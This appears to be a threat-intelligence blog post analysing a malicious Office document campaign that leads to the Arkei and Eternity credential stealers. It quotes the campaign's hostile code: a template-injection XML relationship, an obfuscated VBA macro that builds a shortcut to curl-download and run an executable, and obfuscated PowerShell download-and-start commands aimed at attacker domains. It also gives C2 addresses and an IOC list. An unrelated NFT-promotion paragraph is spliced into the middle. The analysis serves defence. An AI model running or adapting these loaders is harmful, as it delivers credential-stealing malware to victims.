

Some time ago, we discovered an interesting campaign distributing malicious documents. Which used the download chain as well as legitimate payload hosting services. In this report, we will show the technical side of this campaign as well as provide additional indicators.

File Type Office Open XML Document

SHA256 [b3920fe11f1dcf5a7f4cb8a37bed2dd6a8638c5f8a4312d4c07d11f7d0e62da](#)



Image 1: Coercive graphical lure

Detection: 3 / 61
Community Score: ?
File Path: C:\Users\<USER>\AppData\Local\Temp\8e967ff97e36388934c5b2e7d63d714e.docx
Size: 231.75 KB | 2022-05-11 06:43:14 UTC | 9 days ago
Category: docx, exploit

Image 2: Low AV detection

A check on the VirusTotal service showed a very superficial detection. If we unpack the document, then we can see a lot of information that the XML files contain. We see how the .xml file “settings.xml.rels” abuses the element <Relationship> to download the next payload stage. Using the following url “[hxxps://github\[.\]com/Collabsss/dotm/raw/main/tj3wqx.dotm](http://hxxps://github[.]com/Collabsss/dotm/raw/main/tj3wqx.dotm)”

```
1  <?
2   ? xml version = "1.0"
3   encoding = "UTF-8"
4   standalone = "yes" ? >
5   <
6   <Relationships xmlns = "http://schemas.openxmlformats.org/package/2006/relationships" > <Relationship Id = "rId1"
7   Type = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
8   Target = "https://github.com/Collabsss/dotm/raw/main/tj3wqx.dotm"
9   <TargetMode = "External" /> </Relationships>
```

Figure 3: XML file loads payload

File Type Office Open XML Document

SHA256 [b9a1ac0335226386029bb3b6f9f3b9114bde55c7ea9f4fdcdccc02593208bdfd](#)

The document of the second stage contains macros and InQuest Labs is great at extracting the macro to understand how it works.

```
1 Sub Document_Open()
2   bn3iq91t = "dz3nr"
3   o5dolgp17mx = Environ("USERPROFILE") & Replace("J5ok1zm5ppD5ok1zm5tJ5ok1zm5\Roj5ok1zm5ming\bella.lnk", "J5ok1zm5", "a")
4   a3j819fjm = Replace("new:72C" & bn3iq91t & "4D", "dz3nr", "2")
5   Set qokim4 = GetObject(a3j819fjm & "D5-D70A-438B-8A42-984" & CLng("1.8") & "4B88AFB" & CInt("8.2"))
6   With qokim4.CreateShortcut(o5dolgp17mx)
7     fvum = "C:\\\\Users\\\\Public\\\\servicehomework.exe"
8     .TargetPath = Replace("foFnnbrfiFnmbles", "Fnnb", "")
9     godknows = Replace("cmd.bn3iq91txbn3iq91t/o pow^bn3iq91trs^hbn3iq91t11/W 01 c^u^rl http://cugdwpykghx.ru/bq979g5dfwbn3iq91tq.bn3iq91t^xbn3iq91t - & fvum & ; & fvum, "bn3iq91t", "e")
10    .Arguments = "/p c:\\windows\\system32/m notepad.exe /c """" & godknows & """
11    .WindowStyle = 7
12    .Save
13    newb = Replace("rundKfau8s8ad6yaKfau8s8ad6ya32 urKfau8s8ad6ya.dKfau8s8ad6yaKfau8s8ad6ya,OpenURL" & o5dolgp17mx, "Kfau8s8ad6ya", "1")
14  End With
15  qokim4.exec newb
16 End Sub
17
18
```

Image 4: Malicious second stage macro

The macro converts the URL and then loads the executable into the directory "C:\\\\Users\\\\Public\\\\servicehomework.exe". Once downloaded, the executable file is launched.

File Type x64 Executable.

SHA256 [7093aba8ae03275caab7372a7d56172df1716120d477dc276ee9f0b08816bd0c](https://www.virustotal.com/gui/file/7093aba8ae03275caab7372a7d56172df1716120d477dc276ee9f0b08816bd0c)

The functionality of this executable is quite simple. It executes consecutive PowerShell scripts that are Base64 encoded; between network requests, the program goes to sleep for 5 minutes

```
push rbx
sub rsp, 28h
call sub_401000
mov rbx, cs:WinExec
xor edx, edx ; uCmdShow
lea rcx, CmdLine ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
call rbx ; WinExec
lea rcx, aPowershell_e_0 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
call rbx ; WinExec
lea rcx, aPowershell_e_1 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
call rbx ; WinExec
mov rsi, cs:Sleep
mov ecx, 30000 ; dwMilliseconds
call rsi ; Sleep
lea rcx, aPowershell_e_2 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
call rbx ; WinExec
mov rsi, cs:Sleep
mov ecx, 30000 ; dwMilliseconds
call rsi ; Sleep
lea rcx, aPowershell_e_3 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
call rbx ; WinExec
mov rsi, cs:Sleep
mov ecx, 30000 ; dwMilliseconds
call rsi ; Sleep
lea rcx, aPowershell_e_4 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
call rbx ; WinExec
lea rcx, aPowershell_e_5 ; "powershell.exe -enc JgR0ACIAeu0uHBlouu"...
xor edx, edx ; uCmdShow
```

Image 5: Functionality

This executable has two main tasks: Downloads a PDF file from [hxxp://rwmefkaiaa\[.\]ru/document1916t.pdf](http://rwmefkaiaa[.]ru/document1916t.pdf) and opens it. This is done to distract the user from further payload execution.

With this obfuscated script, a PDF file is loaded.

```
& ("{0}{1}{3}{2}"-f'In', ("{2}{1}{3}{0}"-f'e', 'e', 'vok', ("{1}{0}"-f("{1}{0}"-f'bR', 'We'), '-')), 'st', 'que')
("3}{2}{0}{1}{5}{7}{4}{6}"-f("{1}{0}"-f'ka', 'mef'), ("{0}{1}"-f'uia', 'a.'), ("{0}{1}"-f'/', ("{0}{1}"-f'/
r', 'ww')), ("{1}{0}"-f'p:', 'htt'), ("{0}{1}{2}"-f'ent', '19', '1'), ("{0}{1}"-f'ru', ("{1}{0}"-f'doc', '/')), ("{0}
{1}"-f'6', ("{0}{1}"-f't', ("{0}{1}"-f'.pd', 'f'))), 'um')-OutFile"$env:UserProfile/Documents/document01.pdf";.
("{0}{1}"-f'St', 'art')"$env:UserProfile/Documents/document01.pdf"
```

Executing a command to launch a PDF file.

```
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:
\Users\Admin\Documents\document01.pdf
```

Collaborations

I worked with CrazyLizardArmy / Magic Mushroom Clubhouse / MoonCats when I helped them sold out. My main approach is leveraging discord / twitter / telegram NFT communities to bring real members and buyers. I'm not a believer in paid partnership, would rather go for the % of sales way. If you are interested we can continue our conversation, thanks for sticking in!

Links:

- <https://opensea.io/collection/acclimatedmooncats>
- <https://opensea.io/collection/crazy-lizard-army>
- <https://opensea.io/collection/magic-mushroom-clubhouse>



Image 7: [Downloaded PDF](https://www.virustotal.com/gui/file/21bee7d6fd38d4c66deb99404cb48c10677ebfb4bb62843fdac97494426f51ea) 21bee7d6fd38d4c66deb99404cb48c10677ebfb4bb62843fdac97494426f51ea

The following obfuscated script downloads an executable from this address.

[hxxp://rwmefkaiaa\[.\]ru/u841s.exe](http://rwmefkaiaa[.]ru/u841s.exe)

```
. {"{2}{4}{1}{3}{0}"-f("{0}{2}{1}"-f("{0}{1}"-f'ebR', 'e'), 't', ("{0}{1}"-f'que', 's')), 'e-', 'In', 'W', 'vok')
("1{3}{0}{2}{4}{6}"-f("{0}{1}{2}"-f'hx', ("1{0}"-f'a', ("0{1}"-f'.ru', '/')), 'Ohn'), 'htt', ("0{1}"-
f("{0}{1}"-f("{1}{0}"-f'ee1', 'g'), '8'), 'y'), ("0{2}{1}{3}"-f'p:/', ("1{0}"-f'n', ("1{0}"-f("{1}{0}"-
f'p', ("1{0}"-f'w', 'ugd'))), 'c'), '/', 'y'), '3z', 'kg', ("0{1}"-f'.e', 'xe'))-OutFile"$env:appdata/pkdzb.exe"
```

hxxp://rwwmefkauiaa[.]ru/builde1916t.exe

```
& {"{4}{2}{1}{3}{0}"-f't', ("1{0}{2}"-f'ebR', ("0{1}"-f'oke', '-W'), 'eq'), 'v', 'ues', 'In') ("2{0}{1}{7}{6}
{4}{3}{5}"-f("{1}{0}"-f'//r', 'tp:'), ("0{2}{1}"-f'wm', ("1{0}"-f'au', 'fk'), 'e'), 'ht', ("0{2}{1}"-
f'16', 'x', 't.e'), '9', 'e', ("2{1}{0}"-f'd1', ("0{1}"-f'il', 'de'), ("0{1}"-f("{1}{0}"-f'u/
b', 'a.r'), 'u')),'ia')-OutFile"$env:appdata/Microsoft/AdobeService.exe";& {"2}{1}{0}"-f'ss', ("0{1}{2}"-
f'ar', ("0{1}"-f't', ("1{0}"-f'Pro', '-')), 'ce'), 'St')-Filepath"$env:appdata/Microsoft/AdobeService.exe"
```

File Type x32 Executable

SHA256 [27223530f9da259a9f2318b525399a30f5656ca4d2951d76af8039484d8f3e74](https://www.virustotal.com/gui/file/27223530f9da259a9f2318b525399a30f5656ca4d2951d76af8039484d8f3e74)

Malware Family Arkei Stealer

Sample 1

The main task of “Arkei Stealer” is to collect as much account data as possible from the victim's computer. Logins, passwords, autofill forms, cryptocurrency wallets, and also geolocation. After collecting the data, they are sent to a remote server and the program deletes itself.

C2 Address: hxxp://162.33.179[.]235/gatero0m.php

File Type x32 .NET Assembly Executable

Sha 256 [beedb7cc465933bc983dab4c41f8464d985ec15680f60dec4f27e0a96e88939d](https://www.virustotal.com/gui/file/beedb7cc465933bc983dab4c41f8464d985ec15680f60dec4f27e0a96e88939d)

Malware Family Eternity Stealer

Sample 2

Like the previous stealer, it collects all possible information about the victim, converts it into a ZIP archive and sends it to a server located in the Onion network. Eternity Stealer also creates a special file in which it writes basic information about the victim. As well as screenshots and browser data (Logins, passwords, autofill forms) in a separate SQL file.

```
1 - Eternity Stealer -
2 t.me/EternityMalware
3
4 Start Date: [REDACTED] 10:26:26 PM
5 Stub Version: 1.0.0.8
6 Stub Location: C:\Users\Admin\AppData\Local\Temp\[REDACTED]
7
8 System:
9   UserName: Admin (Admin)
10  CompName: [REDACTED]
11  OSName: Windows 7 Ultimate (64 bit)
12  UILang: EN
13
14 Hardware:
15   CPUName: Intel Core Processor (Broadwell)
16   GPUName: Standard VGA Graphics Adapter
17   RAMAmount: 2Gb
18   DiskSize: 255Gb
19   Model: Standard PC (Q35 + ICH9, 2009)
20   Manufacturer: DADY
21   ScreenResolution: 1280x720
22
23 Geolocation:
24   IPAddress: [REDACTED]
25   Country: [REDACTED]
26   City: [REDACTED]
27 |
```

Image 8: Exfil report

```

Frame 27: 1414 bytes on wire (11312 bits), 1414 bytes captured (11312 bits)
Encapsulation type: Ethernet (1)
Arrival Time: May 22, 2022 22:26:29.797826000 Mitteleuropäische Sommerzeit
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1653251189.797826000 seconds
[Time delta from previous captured frame: 0.000105000 seconds]

0000  22 de 0e f0 6d 15 66 ae 47 3a 86 5f 08 00 45 00  ... m·f· G:...·E·
0010  05 78 1e b4 40 00 80 06 c6 d1 0a 7f 00 ad 2e ad  .x·@...·.....·
0020  d6 21 c0 10 4d 55 64 44 95 66 1c 53 37 5e 50 10  .!..MUdD·f·S7^P·
0030  01 00 02 ce 00 00 50 4b 03 04 14 00 00 08 00 00  .....PK.....
0040  4d b3 b6 54 09 2d c7 c9 ae 01 00 00 51 02 00 00  M·T·...·Q...
0050  0f 00 48 00 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e  ..H·Info rmation...
0060  74 78 74 01 00 20 00 00 00 00 00 01 00 18 00 00  txt...
0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
0080  00 00 00 00 00 00 00 0a 00 20 00 00 00 00 00 01  .....
0090  00 18 00 a0 3c ca f9 2a 6e d8 01 a0 3c ca f9 2a  ....<* n·<*...
00a0  6e d8 01 a0 3c ca f9 2a 6e d8 01 4d 52 d1 8e da  n·<* n·MR...
00b0  30 10 7c 8e a5 fe c3 3e 52 b5 17 12 43 02 e4 2d  @|...> R·C...
00c0  97 40 0e 09 28 25 e5 4e 57 e5 c5 24 db e2 9e 13  @·(% N W·$...
00d0  47 8e 11 c7 7d 37 50 a4 ca 96 2c 8d 67 67 67  G··}7P ··,888
00e0  c7 66 f0 00 73 8b a6 91 f6 02 b9 45 a1 d0 10 c4  f·s·...·E...
00f0  ac 5b e3 f0 7e b1 16 ea 2c 0c 7e 62 2c b7 c2 58  [·~·,·~b,·X
0100  48 85 c5 08 82 21 e7 43 ee 71 0e be 17 f1 90 36  H·...!C·q···6
0110  6c d7 c4 38 1d e0 19 4d 27 75 13 81 ef 7a b4 a6  1·8·M'u··z...
0120  37 74 a5 4b 61 af 70 12 15 fb 8e 38 45 5c d5 b2  7t·Ka·p···8E\...
0130  29 e2 b6 25 49 51 f4 04 55 fc c0 ba 2d 92 e0 31  )·%IQ··U···1

```

Image 9: PCAP sending data

This is a rather unusual technique for launching two final payloads. However, this is very often used in recent times. Remote access programs and spyware are sold today as a service. This makes the threat landscape that organizations and users face today even more dangerous.

IOCs

Stage 1 Maldocs

[b3920fe11f1dcdf5a7f4cb8a37bed2dd6a8638c5f8a4312d4c07d11f7d0e62da](#) [08cd999cee6f248e0847c012e68476ca38f280855e3b2406189ff9eca49087be](#)
[21354be825c9532dd39072e8a67ed935ce4fcfc4f5077bd65f1118adf86c4a0d6](#)
[0f1169276cf30b4514a043e9b3587c073e20efa186d26974490a54733288825d](#)

Stage 2 Download (InQuest Labs IOC Lookup)

[hxxp://ckrddvcveumq\[.\]ru/v7dgre.dotm](#) [hxxps://www.dropbox\[.\]com/s/e6yaipmzb8ik7dm/xcl2ba.dotm?dl=1](#) [hxxp://zyzkikpfewuf\[.\]ru/hour84a6d9k.dotm](#)

Stage 2 exe downloader [7093aba8ae03275caab7372a7d56172df1716120d477dc276ee9f0b08816bd0c](#)

[hxxp://rwmefkauiaa\[.\]ru/document1916t.pdf](#) [hxxp://cugdwpnykghx\[.\]ru/bq979g5dfweq.exe](#) [hxxp://cugdwpnykghx\[.\]ru/a0hngee18y3z.exe](#) [hxxp://rwmefkauiaa\[.\]ru/u84ls.exe](#) [hxxp://rwmefkauiaa\[.\]ru/buildded1916t.exe](#)

Stage 3

[27223530f9da259a9f2318b525399a30f5656ca4d2951d76af8039484d8f3e74](#) - Arkei Stealer

[beedb7cc465933bc983dab4c41f8464d985ec15680f60dec4f27e0a96e88939d](#) - Eternity Stealer

C2

[hxxp://lightnogu5owjillyo4tj2sfos6fchnmcidlg06c7e6fz2hgryhfhoyd.onion/stealer/918119271?](#)

[pwds=0&cards=0&wlts=0&files=0&user=dXNlcg==&comp=aG9veWVxaXhsenk=&ip=OTUuMjExLjE5MC4xOTk=&country=TmV0aGVybGFuZHMgKE5MKQ==](#)

[hxxp://162.33.179\[.\]235/gatero0m.php](#)

Additional indicators potentially related to this campaign:

[aztkiryhetxx\[.\]ru](#) [ckrddvcveumq\[.\]ru](#) [cugdwpnykghx\[.\]ru](#) [dvizhdom\[.\]ru](#) [dwrfqitgvmqn\[.\]ru](#) [rhjebiuujydv\[.\]ru](#) [rwmefkauiaa\[.\]ru](#) [sanlygeljek\[.\]ru](#)
[sinelnikovd\[.\]ru](#) [wzqyuwdxxyee\[.\]ru](#) [zpxwmwdxxk\[.\]ru](#) [zyzkikpfewuf\[.\]ru](#) [hxxp://zyzkikpfewuf\[.\]ru/hour84a6d9k.dotm](#) [hxxp://zyzkikpfewuf\[.\]ru/hour84a6d9k.exe](#) [hxxp://zyzkikpfewuf\[.\]ru/estpnhsmB.exe](#) [hxxp://zyzkikpfewuf\[.\]ru/eSttPnHsmB.exe](#) [hxxp://zyzkikpfewuf\[.\]ru/XpqA02Df.exe](#) [hxxp://zyzkikpfewuf\[.\]ru/xpqa02df.exe](#) [hxxp://ckrddvcveumq\[.\]ru/](#) [hxxps://ckrddvcveumq\[.\]ru/v7dgre.dotm](#) [hxxp://ckrddvcveumq\[.\]ru/p73tzhj.exe](#) [hxxp://ckrddvcveumq\[.\]ru/p73tzhj.exe/](#) [hxxp://cugdwpnykghx\[.\]ru/](#) [hxxps://cugdwpnykghx\[.\]ru/](#) [hxxp://cugdwpnykghx\[.\]ru/a0hngee18y3z.exe](#) [hxxp://cugdwpnykghx\[.\]ru/0530cd.dat](#) [hxxp://cugdwpnykghx\[.\]ru/ffe0a6.dat.dat](#) [hxxp://cugdwpnykghx\[.\]ru/fd51a0.dat](#) [hxxp://rwmefkauiaa\[.\]ru/](#) [hxxp://rwmefkauiaa\[.\]ru/az9vu.exe](#) [hxxps://rwmefkauiaa\[.\]ru/](#) [hxxp://rwmefkauiaa\[.\]ru/buildded1916t.exe](#) [hxxp://rwmefkauiaa\[.\]ru/u84ls.exe](#) [hxxp://rwmefkauiaa\[.\]ru/fyi82dk.pdf](#) [hxxp://rwmefkauiaa\[.\]ru/vdl4t.exe](#)

Pivoting on the overlooked anchor (XMP ID)

<https://labs.inquest.net/dfi/search/ioc/xmpid/xmp.iid%3Ad68e8829-30b4-40ef-ba8e-2b22843a29c6##eyJyZXN1bHRzIjpBIn4iLCJmaXJzdFNIZW4iLDEsIiIsW11dfQ==> Kung-fu IOC extraction supported by the InQuest Labs [CLI Library](#).

```
$ for h in `inquest_labs dfi search xmpid xmp.did:eabe445b-730a-4965-9015-880d3f27fe09 | jq -r ".[].sha256"``; do inquest_labs dfi attributes $h --filter=url | jq -r ".[].value"; done | sort -u | grep -v gimp.org | sed -E 's/http/hxxp/g' hxxp://ckrddvcveumq.ru/v7dgre.dotm hxxps://github.com/Collabsss/dotm/raw/main/tj3wqx.dotm hxxps://www.dropbox.com/s/e6yaipmzb8ik7dm/xcl2ba.dotm?dl=1 hxxp://zyzkikpfewuf.ru/hour84a6d9k.dotm
```

Tags

Get The InQuest Insider

Find us on [Twitter](#) for frequent updates, follow our [Blog](#) for bi-weekly technical write-ups, or subscribe here to receive our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories, field notes about innovative malware, novel research / analysis / threat hunting tools, security tips and more.

[Other Blog Articles](#)

→

[Schedule a Demo](#)

→